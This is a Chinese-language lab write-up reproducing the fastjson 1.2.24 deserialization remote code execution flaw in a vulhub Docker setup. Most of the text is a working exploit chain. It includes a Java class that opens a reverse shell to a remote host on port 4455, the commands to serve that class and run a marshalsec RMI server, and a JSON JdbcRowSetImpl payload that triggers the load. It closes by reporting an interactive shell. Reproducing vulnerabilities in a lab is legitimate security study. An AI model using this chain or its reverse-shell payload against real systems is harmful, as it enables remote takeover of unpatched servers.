fastjson遠程命令執行漏洞復現
使用vulhub提供的docker環境:https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce
在192.168.199.225目標機器上運行測試環境:
docker-compose up -d
訪問目標機器,正常訪問。
編寫Exploit:
1 // javac TouchFile.java 2 import java.lang.Runtime; 3 import java.lang.Process; 4 5 public class TouchFile { 6 static { 7 try { 8 Runtime rt = Runtime.getRuntime(); 9 String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xxx.xxx.xx/4455 0>&1"}; 10 Process pc = rt.exec(commands); 11 pc.waitFor(); 12 } catch (Exception e) { 13 // do nothing 14 } 15 } 16 }
編譯成TouchFile.class,並放置在使用python開啟的http服務下(我們的攻擊機192.168.199.137):
python2 -m SimpleHTTPServer 3333
在攻擊機192.168.199.137上使用marshalsec開啟RMI服務:https://github.com/mbechler/marshalsec
從github上下載下來后,使用maven編譯:
mvn clean package -DskipTests
然后
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.199.137:3333/#TouchFile" 9999
此時就會監聽9999端口的RMI服務:
在公網vps上監聽4455端口:
此時構造POC,向目標機192.168.199.225發出請求:
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.199.137:9999/TouchFile", "autoCommit":true } }
你會發現響應包一直在等待中,然而這是正常的
在公網vps上成功得到交互式bash!
RMI核心特點之一就是動態類加載,如果當前JVM中沒有某個類的定義,它可以從遠程URL去下載這個類的class
https://www.freebuf.com/column/189835.html